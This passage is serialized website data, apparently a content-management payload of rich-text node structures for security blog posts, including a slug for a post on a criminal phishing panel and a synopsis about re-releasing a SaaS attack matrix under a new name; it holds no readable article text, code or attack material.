"data":49565,"content":49566,"nodeType":2400},{},[49567,49576],{"data":49568,"content":49569,"nodeType":2366},{},[49570],{"data":49571,"content":49572,"nodeType":866},{},[49573],{"data":49574,"marks":49575,"value":44009,"nodeType":865},{},[],{"data":49577,"content":49578,"nodeType":2366},{},[49579],{"data":49580,"content":49581,"nodeType":866},{},[49582],{"data":49583,"marks":49584,"value":44019,"nodeType":865},{},[],{"data":49586,"content":49587,"nodeType":2400},{},[49588,49597],{"data":49589,"content":49590,"nodeType":2366},{},[49591],{"data":49592,"content":49593,"nodeType":866},{},[49594],{"data":49595,"marks":49596,"value":44032,"nodeType":865},{},[],{"data":49598,"content":49599,"nodeType":2366},{},[49600],{"data":49601,"content":49602,"nodeType":866},{},[49603],{"data":49604,"marks":49605,"value":44531,"nodeType":865},{},[],{"data":49607,"content":49608,"nodeType":2400},{},[49609,49618],{"data":49610,"content":49611,"nodeType":2366},{},[49612],{"data":49613,"content":49614,"nodeType":866},{},[49615],{"data":49616,"marks":49617,"value":44055,"nodeType":865},{},[],{"data":49619,"content":49620,"nodeType":2366},{},[49621],{"data":49622,"content":49623,"nodeType":866},{},[49624],{"data":49625,"marks":49626,"value":44553,"nodeType":865},{},[],{"data":49628,"content":49629,"nodeType":972},{},[],{"data":49631,"content":49632,"nodeType":981},{},[49633],{"data":49634,"marks":49635,"value":44756,"nodeType":865},{},[49636],{"type":926},{"data":49638,"content":49639,"nodeType":866},{},[49640],{"data":49641,"marks":49642,"value":44763,"nodeType":865},{},[],{"data":49644,"content":49645,"nodeType":866},{},[49646],{"data":49647,"marks":49648,"value":44770,"nodeType":865},{},[],{"data":49650,"content":49651,"nodeType":866},{},[49652,49656],{"data":49653,"marks":49654,"value":44778,"nodeType":865},{},[49655],{"type":926},{"data":49657,"marks":49658,"value":44782,"nodeType":865},{},[],{"data":49660,"content":49661,"nodeType":972},{},[],{"data":49663,"content":49664,"nodeType":981},{},[49665],{"data":49666,"marks":49667,"value":38032,"nodeType":865},{},[49668],{"type":926},{"data":49670,"content":49671,"nodeType":866},{},[49672,49675,49681],{"data":49673,"marks":49674,"value":44799,"nodeType":865},{},[],{"data":49676,"content":49677,"nodeType":889},{"uri":38042},[49678],{"data":49679,"marks":49680,"value":38047,"nodeType":865},{},[],{"data":49682,"marks":49683,"value":44809,"nodeType":865},{},[],{"data":49685,"content":49686,"nodeType":866},{},[49687,49690,49696],{"data":49688,"marks":49689,"value":21,"nodeType":865},{},[],{"data":49691,"content":49692,"nodeType":889},{"uri":44818},[49693],{"data":49694,"marks":49695,"value":44823,"nodeType":865},{},[],{"data":49697,"marks":49698,"value":21,"nodeType":865},{},[],{"data":49700,"content":49701,"nodeType":866},{},[49702],{"data":49703,"marks":49704,"value":37990,"nodeType":865},{},[49705],{"type":926},{"data":49707,"content":49708,"nodeType":972},{},[],{"data":49710,"content":49711,"nodeType":981},{},[49712],{"data":49713,"marks":49714,"value":2270,"nodeType":865},{},[49715],{"type":926},{"data":49717,"content":49718,"nodeType":866},{},[49719,49722,49728],{"data":49720,"marks":49721,"value":44850,"nodeType":865},{},[],{"data":49723,"content":49724,"nodeType":889},{"uri":1372},[49725],{"data":49726,"marks":49727,"value":2298,"nodeType":865},{},[],{"data":49729,"marks":49730,"value":2302,"nodeType":865},{},[],{"items":49732},[49733,49735],{"sys":49734,"name":7796},{"id":7795},{"sys":49736,"name":342},{"id":4642},{"items":49738},[49739],{"fullName":44873,"firstName":44874,"jobTitle":7802,"profilePicture":49740},{"url":44876},{"__typename":1429,"sys":49742,"content":49743,"title":41038,"synopsis":41039,"hashTags":59,"publishedDate":41040,"slug":41041,"tagsCollection":50379,"authorsCollection":50385},{"id":40295},{"json":49744},{"data":49745,"content":49746,"nodeType":1382},{},[49747,49770,49796,49802,49807,49810,49817,49823,49828,49843,49849,49856,49872,49885,49891,49897,49900,49907,49913,49919,49974,49980,49987,49997,50003,50009,50014,50021,50027,50033,50039,50045,50050,50057,50063,50134,50139,50142,50149,50155,50168,50174,50180,50185,50201,50204,50211,50217,50222,50238,50244,50250,50255,50258,50265,50271,50277,50282,50288,50293,50298,50318,50323,50333,50339,50345],{"data":49748,"content":49749,"nodeType":866},{},[49750,49753,49760,49763,49767],{"data":49751,"marks":49752,"value":40306,"nodeType":865},{},[],{"data":49754,"content":49755,"nodeType":889},{"uri":4991},[49756],{"data":49757,"marks":49758,"value":40314,"nodeType":865},{},[49759],{"type":943},{"data":49761,"marks":49762,"value":40318,"nodeType":865},{},[],{"data":49764,"marks":49765,"value":40323,"nodeType":865},{},[49766],{"type":926},{"data":49768,"marks":49769,"value":14251,"nodeType":865},{},[],{"data":49771,"content":49772,"nodeType":866},{},[49773,49776,49783,49786,49793],{"data":49774,"marks":49775,"value":40333,"nodeType":865},{},[],{"data":49777,"content":49778,"nodeType":889},{"uri":40336},[49779],{"data":49780,"marks":49781,"value":40342,"nodeType":865},{},[49782],{"type":943},{"data":49784,"marks":49785,"value":40346,"nodeType":865},{},[],{"data":49787,"content":49788,"nodeType":889},{"uri":24925},[49789],{"data":49790,"marks":49791,"value":40354,"nodeType":865},{},[49792],{"type":943},{"data":49794,"marks":49795,"value":40358,"nodeType":865},{},[],{"data":49797,"content":49798,"nodeType":866},{},[49799],{"data":49800,"marks":49801,"value":40365,"nodeType":865},{},[],{"data":49803,"content":49806,"nodeType":912},{"target":49804},{"sys":49805},{"id":40370,"type":909,"linkType":910},[],{"data":49808,"content":49809,"nodeType":972},{},[],{"data":49811,"content":49812,"nodeType":981},{},[49813],{"data":49814,"marks":49815,"value":40382,"nodeType":865},{},[49816],{"type":926},{"data":49818,"content":49819,"nodeType":866},{},[49820],{"data":49821,"marks":49822,"value":40389,"nodeType":865},{},[],{"data":49824,"content":49827,"nodeType":912},{"target":49825},{"sys":49826},{"id":40394,"type":909,"linkType":910},[],{"data":49829,"content":49830,"nodeType":866},{},[49831,49834,49840],{"data":49832,"marks":49833,"value":40402,"nodeType":865},{},[],{"data":49835,"content":49836,"nodeType":889},{"uri":40405},[49837],{"data":49838,"marks":49839,"value":40410,"nodeType":865},{},[],{"data":49841,"marks":49842,"value":40414,"nodeType":865},{},[],{"data":49844,"content":49845,"nodeType":866},{},[49846],{"data":49847,"marks":49848,"value":40421,"nodeType":865},{},[],{"data":49850,"content":49851,"nodeType":1317},{},[49852],{"data":49853,"marks":49854,"value":40429,"nodeType":865},{},[49855],{"type":926},{"data":49857,"content":49858,"nodeType":866},{},[49859,49862,49869],{"data":49860,"marks":49861,"value":40436,"nodeType":865},{},[],{"data":49863,"content":49864,"nodeType":889},{"uri":40439},[49865],{"data":49866,"marks":49867,"value":40445,"nodeType":865},{},[49868],{"type":943},{"data":49870,"marks":49871,"value":40449,"nodeType":865},{},[],{"data":49873,"content":49874,"nodeType":866},{},[49875,49878,49882],{"data":49876,"marks":49877,"value":40456,"nodeType":865},{},[],{"data":49879,"marks":49880,"value":40461,"nodeType":865},{},[49881],{"type":898},{"data":49883,"marks":49884,"value":40465,"nodeType":865},{},[],{"data":49886,"content":49887,"nodeType":866},{},[49888],{"data":49889,"marks":49890,"value":40472,"nodeType":865},{},[],{"data":49892,"content":49893,"nodeType":866},{},[49894],{"data":49895,"marks":49896,"value":40479,"nodeType":865},{},[],{"data":49898,"content":49899,"nodeType":972},{},[],{"data":49901,"content":49902,"nodeType":981},{},[49903],{"data":49904,"marks":49905,"value":40490,"nodeType":865},{},[49906],{"type":926},{"data":49908,"content":49909,"nodeType":866},{},[49910],{"data":49911,"marks":49912,"value":40497,"nodeType":865},{},[],{"data":49914,"content":49915,"nodeType":866},{},[49916],{"data":49917,"marks":49918,"value":40504,"nodeType":865},{},[],{"data":49920,"content":49921,"nodeType":1616},{},[49922,49935,49948,49961],{"data":49923,"content":49924,"nodeType":1570},{},[49925],{"data":49926,"content":49927,"nodeType":866},{},[49928,49932],{"data":49929,"marks":49930,"value":40518,"nodeType":865},{},[49931],{"type":926},{"data":49933,"marks":49934,"value":40522,"nodeType":865},{},[],{"data":49936,"content":49937,"nodeType":1570},{},[49938],{"data":49939,"content":49940,"nodeType":866},{},[49941,49945],{"data":49942,"marks":49943,"value":40533,"nodeType":865},{},[49944],{"type":926},{"data":49946,"marks":49947,"value":40537,"nodeType":865},{},[],{"data":49949,"content":49950,"nodeType":1570},{},[49951],{"data":49952,"content":49953,"nodeType":866},{},[49954,49958],{"data":49955,"marks":49956,"value":40548,"nodeType":865},{},[49957],{"type":926},{"data":49959,"marks":49960,"value":40552,"nodeType":865},{},[],{"data":49962,"content":49963,"nodeType":1570},{},[49964],{"data":49965,"content":49966,"nodeType":866},{},[49967,49971],{"data":49968,"marks":49969,"value":40563,"nodeType":865},{},[49970],{"type":926},{"data":49972,"marks":49973,"value":40567,"nodeType":865},{},[],{"data":49975,"content":49976,"nodeType":866},{},[49977],{"data":49978,"marks":49979,"value":40574,"nodeType":865},{},[],{"data":49981,"content":49982,"nodeType":1317},{},[49983],{"data":49984,"marks":49985,"value":40582,"nodeType":865},{},[49986],{"type":926},{"data":49988,"content":49989,"nodeType":866},{},[49990,49994],{"data":49991,"marks":49992,"value":40590,"nodeType":865},{},[49993],{"type":926},{"data":49995,"marks":49996,"value":40594,"nodeType":865},{},[],{"data":49998,"content":49999,"nodeType":866},{},[50000],{"data":50001,"marks":50002,"value":40601,"nodeType":865},{},[],{"data":50004,"content":50005,"nodeType":866},{},[50006],{"data":50007,"marks":50008,"value":40608,"nodeType":865},{},[],{"data":50010,"content":50013,"nodeType":912},{"target":50011},{"sys":50012},{"id":40613,"type":909,"linkType":910},[],{"data":50015,"content":50016,"nodeType":1317},{},[50017],{"data":50018,"marks":50019,"value":40622,"nodeType":865},{},[50020],{"type":926},{"data":50022,"content":50023,"nodeType":866},{},[50024],{"data":50025,"marks":50026,"value":40629,"nodeType":865},{},[],{"data":50028,"content":50029,"nodeType":866},{},[50030],{"data":50031,"marks":50032,"value":40636,"nodeType":865},{},[],{"data":50034,"content":50035,"nodeType":866},{},[50036],{"data":50037,"marks":50038,"value":40643,"nodeType":865},{},[],{"data":50040,"content":50041,"nodeType":866},{},[50042],{"data":50043,"marks":50044,"value":40650,"nodeType":865},{},[],{"data":50046,"content":50049,"nodeType":912},{"target":50047},{"sys":50048},{"id":40655,"type":909,"linkType":910},[],{"data":50051,"content":50052,"nodeType":1317},{},[50053],{"data":50054,"marks":50055,"value":40664,"nodeType":865},{},[50056],{"type":926},{"data":50058,"content":50059,"nodeType":866},{},[50060],{"data":50061,"marks":50062,"value":40671,"nodeType":865},{},[],{"data":50064,"content":50065,"nodeType":1616},{},[50066,50105],{"data":50067,"content":50068,"nodeType":1570},{},[50069],{"data":50070,"content":50071,"nodeType":866},{},[50072,50075,50082,50085,50092,50095,50102],{"data":50073,"marks":50074,"value":40684,"nodeType":865},{},[],{"data":50076,"content":50077,"nodeType":889},{"uri":4991},[50078],{"data":50079,"marks":50080,"value":8673,"nodeType":865},{},[50081],{"type":943},{"data":50083,"marks":50084,"value":40695,"nodeType":865},{},[],{"data":50086,"content":50087,"nodeType":889},{"uri":15501},[50088],{"data":50089,"marks":50090,"value":40703,"nodeType":865},{},[50091],{"type":943},{"data":50093,"marks":50094,"value":40707,"nodeType":865},{},[],{"data":50096,"content":50097,"nodeType":889},{"uri":40710},[50098],{"data":50099,"marks":50100,"value":40716,"nodeType":865},{},[50101],{"type":943},{"data":50103,"marks":50104,"value":40720,"nodeType":865},{},[],{"data":50106,"content":50107,"nodeType":1570},{},[50108],{"data":50109,"content":50110,"nodeType":866},{},[50111,50114,50121,50124,50131],{"data":50112,"marks":50113,"value":40730,"nodeType":865},{},[],{"data":50115,"content":50116,"nodeType":889},{"uri":40733},[50117],{"data":50118,"marks":50119,"value":40739,"nodeType":865},{},[50120],{"type":943},{"data":50122,"marks":50123,"value":40743,"nodeType":865},{},[],{"data":50125,"content":50126,"nodeType":889},{"uri":40746},[50127],{"data":50128,"marks":50129,"value":40752,"nodeType":865},{},[50130],{"type":943},{"data":50132,"marks":50133,"value":40756,"nodeType":865},{},[],{"data":50135,"content":50138,"nodeType":912},{"target":50136},{"sys":50137},{"id":40761,"type":909,"linkType":910},[],{"data":50140,"content":50141,"nodeType":972},{},[],{"data":50143,"content":50144,"nodeType":981},{},[50145],{"data":50146,"marks":50147,"value":40773,"nodeType":865},{},[50148],{"type":926},{"data":50150,"content":50151,"nodeType":866},{},[50152],{"data":50153,"marks":50154,"value":40780,"nodeType":865},{},[],{"data":50156,"content":50157,"nodeType":866},{},[50158,50161,50165],{"data":50159,"marks":50160,"value":40787,"nodeType":865},{},[],{"data":50162,"marks":50163,"value":40792,"nodeType":865},{},[50164],{"type":926},{"data":50166,"marks":50167,"value":40796,"nodeType":865},{},[],{"data":50169,"content":50170,"nodeType":866},{},[50171],{"data":50172,"marks":50173,"value":40803,"nodeType":865},{},[],{"data":50175,"content":50176,"nodeType":866},{},[50177],{"data":50178,"marks":50179,"value":40810,"nodeType":865},{},[],{"data":50181,"content":50184,"nodeType":912},{"target":50182},{"sys":50183},{"id":40815,"type":909,"linkType":910},[],{"data":50186,"content":50187,"nodeType":866},{},[50188,50191,50198],{"data":50189,"marks":50190,"value":40823,"nodeType":865},{},[],{"data":50192,"content":50193,"nodeType":889},{"uri":7712},[50194],{"data":50195,"marks":50196,"value":40831,"nodeType":865},{},[50197],{"type":943},{"data":50199,"marks":50200,"value":40835,"nodeType":865},{},[],{"data":50202,"content":50203,"nodeType":972},{},[],{"data":50205,"content":50206,"nodeType":981},{},[50207],{"data":50208,"marks":50209,"value":40846,"nodeType":865},{},[50210],{"type":926},{"data":50212,"content":50213,"nodeType":866},{},[50214],{"data":50215,"marks":50216,"value":40853,"nodeType":865},{},[],{"data":50218,"content":50221,"nodeType":912},{"target":50219},{"sys":50220},{"id":40858,"type":909,"linkType":910},[],{"data":50223,"content":50224,"nodeType":866},{},[50225,50228,50235],{"data":50226,"marks":50227,"value":40866,"nodeType":865},{},[],{"data":50229,"content":50230,"nodeType":889},{"uri":8268},[50231],{"data":50232,"marks":50233,"value":40874,"nodeType":865},{},[50234],{"type":943},{"data":50236,"marks":50237,"value":14251,"nodeType":865},{},[],{"data":50239,"content":50240,"nodeType":866},{},[50241],{"data":50242,"marks":50243,"value":40884,"nodeType":865},{},[],{"data":50245,"content":50246,"nodeType":866},{},[50247],{"data":50248,"marks":50249,"value":40891,"nodeType":865},{},[],{"data":50251,"content":50254,"nodeType":912},{"target":50252},{"sys":50253},{"id":40896,"type":909,"linkType":910},[],{"data":50256,"content":50257,"nodeType":972},{},[],{"data":50259,"content":50260,"nodeType":981},{},[50261],{"data":50262,"marks":50263,"value":6331,"nodeType":865},{},[50264],{"type":926},{"data":50266,"content":50267,"nodeType":866},{},[50268],{"data":50269,"marks":50270,"value":40914,"nodeType":865},{},[],{"data":50272,"content":50273,"nodeType":866},{},[50274],{"data":50275,"marks":50276,"value":40921,"nodeType":865},{},[],{"data":50278,"content":50281,"nodeType":912},{"target":50279},{"sys":50280},{"id":40926,"type":909,"linkType":910},[],{"data":50283,"content":50284,"nodeType":866},{},[50285],{"data":50286,"marks":50287,"value":40934,"nodeType":865},{},[],{"data":50289,"content":50292,"nodeType":912},{"target":50290},{"sys":50291},{"id":40939,"type":909,"linkType":910},[],{"data":50294,"content":50297,"nodeType":912},{"target":50295},{"sys":50296},{"id":40945,"type":909,"linkType":910},[],{"data":50299,"content":50300,"nodeType":866},{},[50301,50304,50308,50311,50315],{"data":50302,"marks":50303,"value":40953,"nodeType":865},{},[],{"data":50305,"marks":50306,"value":40958,"nodeType":865},{},[50307],{"type":926},{"data":50309,"marks":50310,"value":40962,"nodeType":865},{},[],{"data":50312,"marks":50313,"value":40967,"nodeType":865},{},[50314],{"type":926},{"data":50316,"marks":50317,"value":40971,"nodeType":865},{},[],{"data":50319,"content":50322,"nodeType":912},{"target":50320},{"sys":50321},{"id":40976,"type":909,"linkType":910},[],{"data":50324,"content":50325,"nodeType":1317},{},[50326,50329],{"data":50327,"marks":50328,"value":40984,"nodeType":865},{},[],{"data":50330,"marks":50331,"value":40989,"nodeType":865},{},[50332],{"type":926},{"data":50334,"content":50335,"nodeType":866},{},[50336],{"data":50337,"marks":50338,"value":40996,"nodeType":865},{},[],{"data":50340,"content":50341,"nodeType":866},{},[50342],{"data":50343,"marks":50344,"value":41003,"nodeType":865},{},[],{"data":50346,"content":50347,"nodeType":866},{},[50348,50351,50357,50360,50367,50370,50376],{"data":50349,"marks":50350,"value":11372,"nodeType":865},{},[],{"data":50352,"content":50353,"nodeType":889},{"uri":11375},[50354],{"data":50355,"marks":50356,"value":11381,"nodeType":865},{},[],{"data":50358,"marks":50359,"value":2717,"nodeType":865},{},[],{"data":50361,"content":50362,"nodeType":889},{"uri":11387},[50363],{"data":50364,"marks":50365,"value":11393,"nodeType":865},{},[50366],{"type":943},{"data":50368,"marks":50369,"value":11397,"nodeType":865},{},[],{"data":50371,"content":50372,"nodeType":889},{"uri":1372},[50373],{"data":50374,"marks":50375,"value":11405,"nodeType":865},{},[],{"data":50377,"marks":50378,"value":1615,"nodeType":865},{},[],{"items":50380},[50381,50383],{"sys":50382,"name":7796},{"id":7795},{"sys":50384,"name":342},{"id":4642},{"items":50386},[50387],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":50388},{"url":7804},"blog/introducing-the-browser-and-identity-attacks-matrix",{"json":50391},{"data":50392,"content":50393,"nodeType":1382},{},[50394],{"data":50395,"content":50396,"nodeType":866},{},[50397],{"data":50398,"marks":50399,"value":50400,"nodeType":865},{},[],"We're re-releasing the SaaS attack matrix as the Browser & Identity Attacks Matrix. Here's why we've decided to make the change and what you can expect to see more of in future.",{"id":12509,"publishedAt":50402},"2026-08-12T11:52:57.689Z",{"items":50404},[50405,50407],{"sys":50406,"name":7796},{"id":7795},{"sys":50408,"name":342},{"id":4642},{"items":50410},[50411,50413,50415,50417,50419,50421,50423,50425,50427,50429,50431,50433,50435,50437,50439,50441],{"sys":50412,"name":279,"slug":280,"tier":31},{"id":276},{"sys":50414,"name":413,"slug":414,"tier":31},{"id":410},{"sys":50416,"name":519,"slug":520,"tier":31},{"id":516},{"sys":50418,"name":642,"slug":643,"tier":31},{"id":639},{"sys":50420,"name":616,"slug":617,"tier":31},{"id":613},{"sys":50422,"name":261,"slug":262,"tier":45},{"id":258},{"sys":50424,"name":315,"slug":316,"tier":45},{"id":312},{"sys":50426,"name":360,"slug":361,"tier":45},{"id":357},{"sys":50428,"name":475,"slug":476,"tier":45},{"id":472},{"sys":50430,"name":511,"slug":512,"tier":45},{"id":508},{"sys":50432,"name":333,"slug":334,"tier":45},{"id":330},{"sys":50434,"name":422,"slug":423,"tier":45},{"id":419},{"sys":50436,"name":288,"slug":289,"tier":45},{"id":285},{"sys":50438,"name":484,"slug":485,"tier":45},{"id":481},{"sys":50440,"name":571,"slug":572,"tier":45},{"id":568},{"sys":50442,"name":448,"slug":449,"tier":45},{"id":445},"KeN5z465lyvbRDueJHHQu-xfDgeExBn9dQTgjMadkKc",{"id":50445,"title":44860,"authorsCollection":50446,"content":50450,"extension":228,"faqItemsCollection":52365,"faqTitle":59,"featured":6,"hashTags":59,"meta":52367,"metaTitle":52368,"ogImage":59,"postType":42959,"publishedDate":44862,"relatedBlogPostsCollection":52369,"slug":44863,"stem":54547,"subtitle":59,"summary":54548,"synopsis":44861,"sys":54558,"tagsCollection":54560,"topicsCollection":54566,"__hash__":54596},"blog/blog/inside-criminal-phishing-panel.json",{"items":50447},[50448],{"fullName":44873,"firstName":44874,"jobTitle":7802,"socialLinks":59,"profilePicture":50449},{"url":44876},{"json":50451,"links":52157},{"data":50452,"content":50453,"nodeType":1382},{},[50454,50460,50484,50494,50500,50505,50515,50520,50523,50530,50536,50591,50597,50602,50605,50612,50618,50623,50630,50636,50744,50749,50754,50760,50765,50772,50778,50784,50839,50845,50850,50855,50862,50868,50874,50881,50887,50916,50922,50927,50933,50975,50981,50988,50994,50999,51005,51011,51016,51022,51051,51057,51062,51065,51072,51078,51084,51090,51095,51101,51107,51112,51118,51123,51129,51134,51140,51146,51149,51156,51169,51175,51191,51412,51418,51444,51665,51671,51677,51868,51874,52053,52056,52063,52069,52075,52085,52088,52095,52110,52125,52132,52135,52142],{"data":50455,"content":50456,"nodeType":866},{},[50457],{"data":50458,"marks":50459,"value":42975,"nodeType":865},{},[],{"data":50461,"content":50462,"nodeType":866},{},[50463,50466,50472,50475,50481],{"data":50464,"marks":50465,"value":42982,"nodeType":865},{},[],{"data":50467,"content":50468,"nodeType":889},{"uri":13013},[50469],{"data":50470,"marks":50471,"value":3825,"nodeType":865},{},[],{"data":50473,"marks":50474,"value":42992,"nodeType":865},{},[],{"data":50476,"content":50477,"nodeType":889},{"uri":42995},[50478],{"data":50479,"marks":50480,"value":43000,"nodeType":865},{},[],{"data":50482,"marks":50483,"value":43004,"nodeType":865},{},[],{"data":50485,"content":50486,"nodeType":866},{},[50487,50491],{"data":50488,"marks":50489,"value":43012,"nodeType":865},{},[50490],{"type":926},{"data":50492,"marks":50493,"value":2688,"nodeType":865},{},[],{"data":50495,"content":50496,"nodeType":866},{},[50497],{"data":50498,"marks":50499,"value":43022,"nodeType":865},{},[],{"data":50501,"content":50504,"nodeType":912},{"target":50502},{"sys":50503},{"id":43027,"type":909,"linkType":910},[],{"data":50506,"content":50507,"nodeType":866},{},[50508,50511],{"data":50509,"marks":50510,"value":43035,"nodeType":865},{},[],{"data":50512,"marks":50513,"value":43040,"nodeType":865},{},[50514],{"type":926},{"data":50516,"content":50519,"nodeType":912},{"target":50517},{"sys":50518},{"id":43045,"type":909,"linkType":910},[],{"data":50521,"content":50522,"nodeType":972},{},[],{"data":50524,"content":50525,"nodeType":981},{},[50526],{"data":50527,"marks":50528,"value":43057,"nodeType":865},{},[50529],{"type":926},{"data":50531,"content":50532,"nodeType":866},{},[50533],{"data":50534,"marks":50535,"value":43064,"nodeType":865},{},[],{"data":50537,"content":50538,"nodeType":1616},{},[50539,50552,50565,50578],{"data":50540,"content":50541,"nodeType":1570},{},[50542],{"data":50543,"content":50544,"nodeType":866},{},[50545,50549],{"data":50546,"marks":50547,"value":43078,"nodeType":865},{},[50548],{"type":926},{"data":50550,"marks":50551,"value":43082,"nodeType":865},{},[],{"data":50553,"content":50554,"nodeType":1570},{},[50555],{"data":50556,"content":50557,"nodeType":866},{},[50558,50562],{"data":50559,"marks":50560,"value":43093,"nodeType":865},{},[50561],{"type":926},{"data":50563,"marks":50564,"value":43097,"nodeType":865},{},[],{"data":50566,"content":50567,"nodeType":1570},{},[50568],{"data":50569,"content":50570,"nodeType":866},{},[50571,50575],{"data":50572,"marks":50573,"value":43108,"nodeType":865},{},[50574],{"type":926},{"data":50576,"marks":50577,"value":43112,"nodeType":865},{},[],{"data":50579,"content":50580,"nodeType":1570},{},[50581],{"data":50582,"content":50583,"nodeType":866},{},[50584,50588],{"data":50585,"marks":50586,"value":43123,"nodeType":865},{},[50587],{"type":926},{"data":50589,"marks":50590,"value":43127,"nodeType":865},{},[],{"data":50592,"content":50593,"nodeType":866},{},[50594],{"data":50595,"marks":50596,"value":43134,"nodeType":865},{},[],{"data":50598,"content":50601,"nodeType":912},{"target":50599},{"sys":50600},{"id":43139,"type":909,"linkType":910},[],{"data":50603,"content":50604,"nodeType":972},{},[],{"data":50606,"content":50607,"nodeType":981},{},[50608],{"data":50609,"marks":50610,"value":43151,"nodeType":865},{},[50611],{"type":926},{"data":50613,"content":50614,"nodeType":866},{},[50615],{"data":50616,"marks":50617,"value":43158,"nodeType":865},{},[],{"data":50619,"content":50622,"nodeType":912},{"target":50620},{"sys":50621},{"id":43163,"type":909,"linkType":910},[],{"data":50624,"content":50625,"nodeType":1317},{},[50626],{"data":50627,"marks":50628,"value":43172,"nodeType":865},{},[50629],{"type":926},{"data":50631,"content":50632,"nodeType":866},{},[50633],{"data":50634,"marks":50635,"value":43179,"nodeType":865},{},[],{"data":50637,"content":50638,"nodeType":1616},{},[50639,50652,50665,50685,50698,50711,50731],{"data":50640,"content":50641,"nodeType":1570},{},[50642],{"data":50643,"content":50644,"nodeType":866},{},[50645,50649],{"data":50646,"marks":50647,"value":43193,"nodeType":865},{},[50648],{"type":926},{"data":50650,"marks":50651,"value":43197,"nodeType":865},{},[],{"data":50653,"content":50654,"nodeType":1570},{},[50655],{"data":50656,"content":50657,"nodeType":866},{},[50658,50662],{"data":50659,"marks":50660,"value":43208,"nodeType":865},{},[50661],{"type":926},{"data":50663,"marks":50664,"value":43212,"nodeType":865},{},[],{"data":50666,"content":50667,"nodeType":1570},{},[50668],{"data":50669,"content":50670,"nodeType":866},{},[50671,50675,50678,50682],{"data":50672,"marks":50673,"value":43223,"nodeType":865},{},[50674],{"type":926},{"data":50676,"marks":50677,"value":43227,"nodeType":865},{},[],{"data":50679,"marks":50680,"value":43232,"nodeType":865},{},[50681],{"type":926},{"data":50683,"marks":50684,"value":43236,"nodeType":865},{},[],{"data":50686,"content":50687,"nodeType":1570},{},[50688],{"data":50689,"content":50690,"nodeType":866},{},[50691,50695],{"data":50692,"marks":50693,"value":43247,"nodeType":865},{},[50694],{"type":926},{"data":50696,"marks":50697,"value":43251,"nodeType":865},{},[],{"data":50699,"content":50700,"nodeType":1570},{},[50701],{"data":50702,"content":50703,"nodeType":866},{},[50704,50708],{"data":50705,"marks":50706,"value":43262,"nodeType":865},{},[50707],{"type":926},{"data":50709,"marks":50710,"value":43266,"nodeType":865},{},[],{"data":50712,"content":50713,"nodeType":1570},{},[50714],{"data":50715,"content":50716,"nodeType":866},{},[50717,50721,50724,50728],{"data":50718,"marks":50719,"value":43277,"nodeType":865},{},[50720],{"type":926},{"data":50722,"marks":50723,"value":43281,"nodeType":865},{},[],{"data":50725,"marks":50726,"value":43286,"nodeType":865},{},[50727],{"type":926},{"data":50729,"marks":50730,"value":43290,"nodeType":865},{},[],{"data":50732,"content":50733,"nodeType":1570},{},[50734],{"data":50735,"content":50736,"nodeType":866},{},[50737,50741],{"data":50738,"marks":50739,"value":43301,"nodeType":865},{},[50740],{"type":926},{"data":50742,"marks":50743,"value":43305,"nodeType":865},{},[],{"data":50745,"content":50748,"nodeType":912},{"target":50746},{"sys":50747},{"id":43310,"type":909,"linkType":910},[],{"data":50750,"content":50753,"nodeType":912},{"target":50751},{"sys":50752},{"id":43316,"type":909,"linkType":910},[],{"data":50755,"content":50756,"nodeType":866},{},[50757],{"data":50758,"marks":50759,"value":21,"nodeType":865},{},[],{"data":50761,"content":50764,"nodeType":912},{"target":50762},{"sys":50763},{"id":43328,"type":909,"linkType":910},[],{"data":50766,"content":50767,"nodeType":1317},{},[50768],{"data":50769,"marks":50770,"value":43337,"nodeType":865},{},[50771],{"type":926},{"data":50773,"content":50774,"nodeType":866},{},[50775],{"data":50776,"marks":50777,"value":43344,"nodeType":865},{},[],{"data":50779,"content":50780,"nodeType":866},{},[50781],{"data":50782,"marks":50783,"value":43351,"nodeType":865},{},[],{"data":50785,"content":50786,"nodeType":1616},{},[50787,50800,50813,50826],{"data":50788,"content":50789,"nodeType":1570},{},[50790],{"data":50791,"content":50792,"nodeType":866},{},[50793,50797],{"data":50794,"marks":50795,"value":43365,"nodeType":865},{},[50796],{"type":926},{"data":50798,"marks":50799,"value":43369,"nodeType":865},{},[],{"data":50801,"content":50802,"nodeType":1570},{},[50803],{"data":50804,"content":50805,"nodeType":866},{},[50806,50810],{"data":50807,"marks":50808,"value":43380,"nodeType":865},{},[50809],{"type":926},{"data":50811,"marks":50812,"value":43384,"nodeType":865},{},[],{"data":50814,"content":50815,"nodeType":1570},{},[50816],{"data":50817,"content":50818,"nodeType":866},{},[50819,50823],{"data":50820,"marks":50821,"value":43395,"nodeType":865},{},[50822],{"type":926},{"data":50824,"marks":50825,"value":43399,"nodeType":865},{},[],{"data":50827,"content":50828,"nodeType":1570},{},[50829],{"data":50830,"content":50831,"nodeType":866},{},[50832,50836],{"data":50833,"marks":50834,"value":43410,"nodeType":865},{},[50835],{"type":926},{"data":50837,"marks":50838,"value":43414,"nodeType":865},{},[],{"data":50840,"content":50841,"nodeType":866},{},[50842],{"data":50843,"marks":50844,"value":43421,"nodeType":865},{},[],{"data":50846,"content":50849,"nodeType":912},{"target":50847},{"sys":50848},{"id":43426,"type":909,"linkType":910},[],{"data":50851,"content":50854,"nodeType":912},{"target":50852},{"sys":50853},{"id":43432,"type":909,"linkType":910},[],{"data":50856,"content":50857,"nodeType":1317},{},[50858],{"data":50859,"marks":50860,"value":43441,"nodeType":865},{},[50861],{"type":926},{"data":50863,"content":50864,"nodeType":866},{},[50865],{"data":50866,"marks":50867,"value":43448,"nodeType":865},{},[],{"data":50869,"content":50870,"nodeType":866},{},[50871],{"data":50872,"marks":50873,"value":43455,"nodeType":865},{},[],{"data":50875,"content":50876,"nodeType":1317},{},[50877],{"data":50878,"marks":50879,"value":43463,"nodeType":865},{},[50880],{"type":926},{"data":50882,"content":50883,"nodeType":866},{},[50884],{"data":50885,"marks":50886,"value":43470,"nodeType":865},{},[],{"data":50888,"content":50889,"nodeType":1616},{},[50890,50903],{"data":50891,"content":50892,"nodeType":1570},{},[50893],{"data":50894,"content":50895,"nodeType":866},{},[50896,50900],{"data":50897,"marks":50898,"value":43484,"nodeType":865},{},[50899],{"type":926},{"data":50901,"marks":50902,"value":43488,"nodeType":865},{},[],{"data":50904,"content":50905,"nodeType":1570},{},[50906],{"data":50907,"content":50908,"nodeType":866},{},[50909,50913],{"data":50910,"marks":50911,"value":43499,"nodeType":865},{},[50912],{"type":926},{"data":50914,"marks":50915,"value":43503,"nodeType":865},{},[],{"data":50917,"content":50918,"nodeType":866},{},[50919],{"data":50920,"marks":50921,"value":43510,"nodeType":865},{},[],{"